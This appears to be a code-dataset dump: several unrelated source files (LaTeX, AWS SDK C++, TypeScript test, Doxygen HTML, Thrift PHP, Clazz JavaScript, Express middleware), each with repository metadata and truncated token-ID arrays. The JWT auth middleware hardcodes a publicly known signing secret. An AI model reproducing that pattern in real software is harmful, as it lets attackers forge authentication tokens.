\input{../02-preface/preface.tex} \tableofcontents \input{../03-introduction/introduction.tex} \part{Theory} \input{../04-qm/qm.tex} \input{../05-manybody/manybody.tex} \input{../07-qDots/qDots.tex} \input{../06-CC/CC.tex} \input{../08-OpenCL/OpenCL.tex} \part{Results} \input{../10-results/results.tex} \input{../11-conclusion/conclusion.tex} \clearpage \phantomsection \addcontentsline{toc}{chapter}{Bibliography} \bibliographystyle{IEEEtran} \bibliography{../bibtex/bibtex.bib} \end{document}
CompPhysics/ThesisProjects
doc/MSc/msc_students/admin/MScprojects/christoffer/MasterThesis/Thesis-tex/00-master/master.tex
TeX
cc0-1.0
1,744
[ 30522, 1032, 6254, 26266, 1031, 2260, 13876, 1010, 1037, 2549, 23298, 1010, 2048, 7363, 1033, 1063, 2338, 1065, 1032, 2224, 23947, 4270, 1031, 21183, 2546, 2620, 1033, 1063, 7953, 2368, 2278, 1065, 1032, 2224, 23947, 4270, 1031, 2394, 1033,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/** * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * SPDX-License-Identifier: Apache-2.0. */ #include <aws/events/model/Connection.h> #include <aws/core/utils/json/JsonSerializer.h> #include <utility> using namespace Aws::Utils::Json; using namespace Aws::Utils; namespace Aws { namespace CloudWatchEvents { namespace Model { Connection::Connection() : m_connectionArnHasBeenSet(false), m_nameHasBeenSet(false), m_connectionState(ConnectionState::NOT_SET), m_connectionStateHasBeenSet(false), m_stateReasonHasBeenSet(false), m_authorizationType(ConnectionAuthorizationType::NOT_SET), m_authorizationTypeHasBeenSet(false), m_creationTimeHasBeenSet(false), m_lastModifiedTimeHasBeenSet(false), m_lastAuthorizedTimeHasBeenSet(false) { } Connection::Connection(JsonView jsonValue) : m_connectionArnHasBeenSet(false), m_nameHasBeenSet(false), m_connectionState(ConnectionState::NOT_SET), m_connectionStateHasBeenSet(false), m_stateReasonHasBeenSet(false), m_authorizationType(ConnectionAuthorizationType::NOT_SET), m_authorizationTypeHasBeenSet(false), m_creationTimeHasBeenSet(false), m_lastModifiedTimeHasBeenSet(false), m_lastAuthorizedTimeHasBeenSet(false) { *this = jsonValue; } Connection& Connection::operator =(JsonView jsonValue) { if(jsonValue.ValueExists("ConnectionArn")) { m_connectionArn = jsonValue.GetString("ConnectionArn"); m_connectionArnHasBeenSet = true; } if(jsonValue.ValueExists("Name")) { m_name = jsonValue.GetString("Name"); m_nameHasBeenSet = true; } if(jsonValue.ValueExists("ConnectionState")) { m_connectionState = ConnectionStateMapper::GetConnectionStateForName(jsonValue.GetString("ConnectionState")); m_connectionStateHasBeenSet = true; } if(jsonValue.ValueExists("StateReason")) { m_stateReason = jsonValue.GetString("StateReason"); m_stateReasonHasBeenSet = true; } if(jsonValue.ValueExists("AuthorizationType")) { m_authorizationType = ConnectionAuthorizationTypeMapper::GetConnectionAuthorizationTypeForName(jsonValue.GetString("AuthorizationType")); m_authorizationTypeHasBeenSet = true; } if(jsonValue.ValueExists("CreationTime")) { m_creationTime = jsonValue.GetDouble("CreationTime"); m_creationTimeHasBeenSet = true; } if(jsonValue.ValueExists("LastModifiedTime")) { m_lastModifiedTime = jsonValue.GetDouble("LastModifiedTime"); m_lastModifiedTimeHasBeenSet = true; } if(jsonValue.ValueExists("LastAuthorizedTime")) { m_lastAuthorizedTime = jsonValue.GetDouble("LastAuthorizedTime"); m_lastAuthorizedTimeHasBeenSet = true; } return *this; } JsonValue Connection::Jsonize() const { JsonValue payload; if(m_connectionArnHasBeenSet) { payload.WithString("ConnectionArn", m_connectionArn); } if(m_nameHasBeenSet) { payload.WithString("Name", m_name); } if(m_connectionStateHasBeenSet) { payload.WithString("ConnectionState", ConnectionStateMapper::GetNameForConnectionState(m_connectionState)); } if(m_stateReasonHasBeenSet) { payload.WithString("StateReason", m_stateReason); } if(m_authorizationTypeHasBeenSet) { payload.WithString("AuthorizationType", ConnectionAuthorizationTypeMapper::GetNameForConnectionAuthorizationType(m_authorizationType)); } if(m_creationTimeHasBeenSet) { payload.WithDouble("CreationTime", m_creationTime.SecondsWithMSPrecision()); } if(m_lastModifiedTimeHasBeenSet) { payload.WithDouble("LastModifiedTime", m_lastModifiedTime.SecondsWithMSPrecision()); } if(m_lastAuthorizedTimeHasBeenSet) { payload.WithDouble("LastAuthorizedTime", m_lastAuthorizedTime.SecondsWithMSPrecision()); } return payload; } } // namespace Model } // namespace CloudWatchEvents } // namespace Aws
aws/aws-sdk-cpp
aws-cpp-sdk-events/source/model/Connection.cpp
C++
apache-2.0
3,877
[ 30522, 1013, 1008, 1008, 30524, 1016, 1012, 1014, 1012, 1008, 1013, 1001, 2421, 1026, 22091, 2015, 1013, 2824, 1013, 2944, 1013, 4434, 1012, 1044, 1028, 1001, 2421, 1026, 22091, 2015, 1013, 4563, 1013, 21183, 12146, 1013, 1046, 3385, 1013, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
'use strict'; import { Location } from '../../src/models/location'; describe('Location', () => { let mockLocation: Location = new Location({ "id": 178, "timestamp": "2018-04-09T16:17:26.464000-07:00", "target": "d--0000-0000-0000-0532", "lat": "37.406246", "lon": "-122.109423", "user": "kaylie" }); it('checks basic', () => { expect(mockLocation.target).toBe("d--0000-0000-0000-0532"); expect(mockLocation.timestamp).toEqual("2018-04-09T16:17:26.464000-07:00"); expect(mockLocation.lat).toBe("37.406246"); expect(mockLocation.lon).toBe("-122.109423"); expect(mockLocation.getPosition()).toEqual({ lat: 37.406246, lng: -122.109423 }); }); });
iotile/ng-iotile-cloud
tests/models/locations.spec.ts
TypeScript
mit
700
[ 30522, 1005, 2224, 9384, 1005, 1025, 12324, 1063, 3295, 1065, 2013, 1005, 1012, 1012, 1013, 1012, 1012, 1013, 5034, 2278, 1013, 4275, 1013, 3295, 1005, 1025, 6235, 1006, 1005, 3295, 1005, 1010, 1006, 1007, 1027, 1028, 1063, 2292, 12934, 4...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <meta name="generator" content="Doxygen 1.8.11"/> <title>AStarPathPlanning: Member List</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/searchdata.js"></script> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { init_search(); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td id="projectalign" style="padding-left: 0.5em;"> <div id="projectname">AStarPathPlanning </div> <div id="projectbrief">While Acme robot is on automation mode and plan to move from an origin to a goal, this project helps to find the path with the shortest path.</div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.11 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li><a href="pages.html"><span>Related&#160;Pages</span></a></li> <li><a href="namespaces.html"><span>Namespaces</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="inherits.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> </div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="namespaceupload.html">upload</a></li><li class="navelem"><a class="el" href="classupload_1_1ClientLoginError.html">ClientLoginError</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="headertitle"> <div class="title">upload.ClientLoginError Member List</div> </div> </div><!--header--> <div class="contents"> <p>This is the complete list of members for <a class="el" href="classupload_1_1ClientLoginError.html">upload.ClientLoginError</a>, including all inherited members.</p> <table class="directory"> <tr class="even"><td class="entry"><a class="el" href="classupload_1_1ClientLoginError.html#a1e590616c2976d881e155958cedbbe47">__init__</a>(self, url, code, msg, headers, args)</td><td class="entry"><a class="el" href="classupload_1_1ClientLoginError.html">upload.ClientLoginError</a></td><td class="entry"></td></tr> <tr><td class="entry"><a class="el" href="classupload_1_1ClientLoginError.html#a1e590616c2976d881e155958cedbbe47">__init__</a>(self, url, code, msg, headers, args)</td><td class="entry"><a class="el" href="classupload_1_1ClientLoginError.html">upload.ClientLoginError</a></td><td class="entry"></td></tr> <tr class="even"><td class="entry"><a class="el" href="classupload_1_1ClientLoginError.html#ac300a0b034b2bc64cedc51e09fb6d663">args</a></td><td class="entry"><a class="el" href="classupload_1_1ClientLoginError.html">upload.ClientLoginError</a></td><td class="entry"></td></tr> <tr><td class="entry"><a class="el" href="classupload_1_1ClientLoginError.html#ae0555feb182d89d1e4d7944afbfe14e5">reason</a></td><td class="entry"><a class="el" href="classupload_1_1ClientLoginError.html">upload.ClientLoginError</a></td><td class="entry"></td></tr> </table></div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by &#160;<a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.11 </small></address> </body> </html>
SonamYeshe/AStarPathPlanning
docs/html/classupload_1_1ClientLoginError-members.html
HTML
gpl-3.0
5,746
[ 30522, 1026, 999, 9986, 13874, 16129, 2270, 1000, 1011, 1013, 1013, 1059, 2509, 2278, 1013, 1013, 26718, 2094, 1060, 11039, 19968, 1015, 1012, 1014, 17459, 1013, 1013, 4372, 1000, 1000, 8299, 1024, 1013, 1013, 7479, 1012, 1059, 2509, 1012, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<div style="background-color:red"> <h1><%= name %></h1> <h6><%= birthday %></h6> <p><%= plugin %></p> </div>
alercrepaldi/grunt-json2html
templates/template2.html
HTML
mit
113
[ 30522, 1026, 4487, 2615, 2806, 1027, 1000, 4281, 1011, 3609, 1024, 2417, 1000, 1028, 1026, 1044, 2487, 1028, 1026, 1003, 1027, 2171, 1003, 1028, 1026, 1013, 1044, 2487, 1028, 1026, 1044, 2575, 1028, 1026, 1003, 1027, 5798, 1003, 1028, 102...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
# Hieracium praegrandiceps Ósk. SPECIES #### Status ACCEPTED #### According to Euro+Med Plantbase #### Published in null #### Original name null ### Remarks null
mdoering/backbone
life/incertae sedis/Hieracium lygistodon aggr/Hieracium praegrandiceps/README.md
Markdown
apache-2.0
167
[ 30522, 1001, 7632, 6906, 6895, 2819, 10975, 6679, 17643, 16089, 3401, 4523, 9808, 2243, 1012, 2427, 1001, 1001, 1001, 1001, 3570, 3970, 1001, 1001, 1001, 1001, 2429, 2000, 9944, 1009, 19960, 3269, 15058, 1001, 1001, 1001, 1001, 2405, 1999, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<?php namespace metastore; /** * Autogenerated by Thrift Compiler (0.14.1) * * DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING * @generated */ use Thrift\Base\TBase; use Thrift\Type\TType; use Thrift\Type\TMessageType; use Thrift\Exception\TException; use Thrift\Exception\TProtocolException; use Thrift\Protocol\TProtocol; use Thrift\Protocol\TBinaryProtocolAccelerated; use Thrift\Exception\TApplicationException; class CompactionRequest { static public $isValidate = false; static public $_TSPEC = array( 1 => array( 'var' => 'dbname', 'isRequired' => true, 'type' => TType::STRING, ), 2 => array( 'var' => 'tablename', 'isRequired' => true, 'type' => TType::STRING, ), 3 => array( 'var' => 'partitionname', 'isRequired' => false, 'type' => TType::STRING, ), 4 => array( 'var' => 'type', 'isRequired' => true, 'type' => TType::I32, 'class' => '\metastore\CompactionType', ), 5 => array( 'var' => 'runas', 'isRequired' => false, 'type' => TType::STRING, ), 6 => array( 'var' => 'properties', 'isRequired' => false, 'type' => TType::MAP, 'ktype' => TType::STRING, 'vtype' => TType::STRING, 'key' => array( 'type' => TType::STRING, ), 'val' => array( 'type' => TType::STRING, ), ), 7 => array( 'var' => 'initiatorId', 'isRequired' => false, 'type' => TType::STRING, ), 8 => array( 'var' => 'initiatorVersion', 'isRequired' => false, 'type' => TType::STRING, ), ); /** * @var string */ public $dbname = null; /** * @var string */ public $tablename = null; /** * @var string */ public $partitionname = null; /** * @var int */ public $type = null; /** * @var string */ public $runas = null; /** * @var array */ public $properties = null; /** * @var string */ public $initiatorId = null; /** * @var string */ public $initiatorVersion = null; public function __construct($vals = null) { if (is_array($vals)) { if (isset($vals['dbname'])) { $this->dbname = $vals['dbname']; } if (isset($vals['tablename'])) { $this->tablename = $vals['tablename']; } if (isset($vals['partitionname'])) { $this->partitionname = $vals['partitionname']; } if (isset($vals['type'])) { $this->type = $vals['type']; } if (isset($vals['runas'])) { $this->runas = $vals['runas']; } if (isset($vals['properties'])) { $this->properties = $vals['properties']; } if (isset($vals['initiatorId'])) { $this->initiatorId = $vals['initiatorId']; } if (isset($vals['initiatorVersion'])) { $this->initiatorVersion = $vals['initiatorVersion']; } } } public function getName() { return 'CompactionRequest'; } public function read($input) { $xfer = 0; $fname = null; $ftype = 0; $fid = 0; $xfer += $input->readStructBegin($fname); while (true) { $xfer += $input->readFieldBegin($fname, $ftype, $fid); if ($ftype == TType::STOP) { break; } switch ($fid) { case 1: if ($ftype == TType::STRING) { $xfer += $input->readString($this->dbname); } else { $xfer += $input->skip($ftype); } break; case 2: if ($ftype == TType::STRING) { $xfer += $input->readString($this->tablename); } else { $xfer += $input->skip($ftype); } break; case 3: if ($ftype == TType::STRING) { $xfer += $input->readString($this->partitionname); } else { $xfer += $input->skip($ftype); } break; case 4: if ($ftype == TType::I32) { $xfer += $input->readI32($this->type); } else { $xfer += $input->skip($ftype); } break; case 5: if ($ftype == TType::STRING) { $xfer += $input->readString($this->runas); } else { $xfer += $input->skip($ftype); } break; case 6: if ($ftype == TType::MAP) { $this->properties = array(); $_size747 = 0; $_ktype748 = 0; $_vtype749 = 0; $xfer += $input->readMapBegin($_ktype748, $_vtype749, $_size747); for ($_i751 = 0; $_i751 < $_size747; ++$_i751) { $key752 = ''; $val753 = ''; $xfer += $input->readString($key752); $xfer += $input->readString($val753); $this->properties[$key752] = $val753; } $xfer += $input->readMapEnd(); } else { $xfer += $input->skip($ftype); } break; case 7: if ($ftype == TType::STRING) { $xfer += $input->readString($this->initiatorId); } else { $xfer += $input->skip($ftype); } break; case 8: if ($ftype == TType::STRING) { $xfer += $input->readString($this->initiatorVersion); } else { $xfer += $input->skip($ftype); } break; default: $xfer += $input->skip($ftype); break; } $xfer += $input->readFieldEnd(); } $xfer += $input->readStructEnd(); return $xfer; } public function write($output) { $xfer = 0; $xfer += $output->writeStructBegin('CompactionRequest'); if ($this->dbname !== null) { $xfer += $output->writeFieldBegin('dbname', TType::STRING, 1); $xfer += $output->writeString($this->dbname); $xfer += $output->writeFieldEnd(); } if ($this->tablename !== null) { $xfer += $output->writeFieldBegin('tablename', TType::STRING, 2); $xfer += $output->writeString($this->tablename); $xfer += $output->writeFieldEnd(); } if ($this->partitionname !== null) { $xfer += $output->writeFieldBegin('partitionname', TType::STRING, 3); $xfer += $output->writeString($this->partitionname); $xfer += $output->writeFieldEnd(); } if ($this->type !== null) { $xfer += $output->writeFieldBegin('type', TType::I32, 4); $xfer += $output->writeI32($this->type); $xfer += $output->writeFieldEnd(); } if ($this->runas !== null) { $xfer += $output->writeFieldBegin('runas', TType::STRING, 5); $xfer += $output->writeString($this->runas); $xfer += $output->writeFieldEnd(); } if ($this->properties !== null) { if (!is_array($this->properties)) { throw new TProtocolException('Bad type in structure.', TProtocolException::INVALID_DATA); } $xfer += $output->writeFieldBegin('properties', TType::MAP, 6); $output->writeMapBegin(TType::STRING, TType::STRING, count($this->properties)); foreach ($this->properties as $kiter754 => $viter755) { $xfer += $output->writeString($kiter754); $xfer += $output->writeString($viter755); } $output->writeMapEnd(); $xfer += $output->writeFieldEnd(); } if ($this->initiatorId !== null) { $xfer += $output->writeFieldBegin('initiatorId', TType::STRING, 7); $xfer += $output->writeString($this->initiatorId); $xfer += $output->writeFieldEnd(); } if ($this->initiatorVersion !== null) { $xfer += $output->writeFieldBegin('initiatorVersion', TType::STRING, 8); $xfer += $output->writeString($this->initiatorVersion); $xfer += $output->writeFieldEnd(); } $xfer += $output->writeFieldStop(); $xfer += $output->writeStructEnd(); return $xfer; } }
lirui-apache/hive
standalone-metastore/metastore-common/src/gen/thrift/gen-php/metastore/CompactionRequest.php
PHP
apache-2.0
9,583
[ 30522, 1026, 1029, 25718, 3415, 15327, 18804, 23809, 2063, 1025, 1013, 1008, 1008, 1008, 8285, 6914, 16848, 2011, 16215, 16338, 21624, 1006, 1014, 1012, 2403, 1012, 1015, 1007, 1008, 1008, 2079, 2025, 10086, 4983, 2017, 2024, 2469, 2008, 20...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
Clazz.declarePackage ("org.eclipse.osgi.framework.internal.core"); Clazz.load (["org.eclipse.osgi.framework.internal.core.BundleLoader"], "org.eclipse.osgi.framework.internal.core.SystemBundleLoader", null, function () { c$ = Clazz.decorateAsClass (function () { this.classLoader = null; Clazz.instantialize (this, arguments); }, org.eclipse.osgi.framework.internal.core, "SystemBundleLoader", org.eclipse.osgi.framework.internal.core.BundleLoader); Clazz.makeConstructor (c$, function (bundle, proxy) { Clazz.superConstructor (this, org.eclipse.osgi.framework.internal.core.SystemBundleLoader, [bundle, proxy]); this.classLoader = this.getClass ().getClassLoader (); }, "org.eclipse.osgi.framework.internal.core.BundleHost,org.eclipse.osgi.framework.internal.core.BundleLoaderProxy"); Clazz.defineMethod (c$, "findClass", function (name) { return this.classLoader.loadClass (name); }, "~S"); Clazz.overrideMethod (c$, "findLibrary", function (name) { return null; }, "~S"); Clazz.overrideMethod (c$, "findLocalClass", function (name) { var clazz = null; try { clazz = this.classLoader.loadClass (name); } catch (e) { if (Clazz.instanceOf (e, ClassNotFoundException)) { } else { throw e; } } return clazz; }, "~S"); Clazz.overrideMethod (c$, "findLocalResource", function (name) { return this.classLoader.getResource (name); }, "~S"); Clazz.overrideMethod (c$, "findLocalResources", function (name) { try { return this.classLoader.getResources (name); } catch (e) { if (Clazz.instanceOf (e, java.io.IOException)) { return null; } else { throw e; } } }, "~S"); Clazz.defineMethod (c$, "findResource", function (name) { return this.classLoader.getResource (name); }, "~S"); Clazz.overrideMethod (c$, "findResources", function (name) { return this.classLoader.getResources (name); }, "~S"); Clazz.overrideMethod (c$, "close", function () { }); });
01org/mayloon-portingtool
sources/net.sf.j2s.lib/j2slib/org/eclipse/osgi/framework/internal/core/SystemBundleLoader.js
JavaScript
epl-1.0
1,857
[ 30522, 18856, 10936, 2480, 1012, 13520, 23947, 4270, 1006, 1000, 8917, 1012, 13232, 1012, 9808, 5856, 1012, 7705, 1012, 4722, 1012, 4563, 1000, 1007, 1025, 18856, 10936, 2480, 1012, 7170, 1006, 1031, 1000, 8917, 1012, 13232, 1012, 9808, 585...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
const jwt = require('jsonwebtoken'); const User = require('../models/User'); // import { port, auth } from '../../config'; /** * The Auth Checker middleware function. */ module.exports = (req, res, next) => { if (!req.headers.authorization) { return res.status(401).end(); } // get the last part from a authorization header string like "bearer token-value" const token = req.headers.authorization.split(' ')[1]; // decode the token using a secret key-phrase return jwt.verify(token, "React Starter Kit", (err, decoded) => { // the 401 code is for unauthorized status if (err) { return res.status(401).end(); } const userId = decoded.sub; // check if a user exists return User.findById(userId, (userErr, user) => { if (userErr || !user) { return res.status(401).end(); } return next(); }); }); };
ziedAb/PVMourakiboun
src/data/middleware/auth-check.js
JavaScript
mit
874
[ 30522, 9530, 3367, 1046, 26677, 1027, 5478, 1006, 30524, 1013, 1012, 1012, 1013, 9530, 8873, 2290, 1005, 1025, 1013, 1008, 1008, 1008, 1996, 8740, 2705, 4638, 2121, 2690, 8059, 3853, 1012, 1008, 1013, 11336, 1012, 14338, 1027, 1006, 2128, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
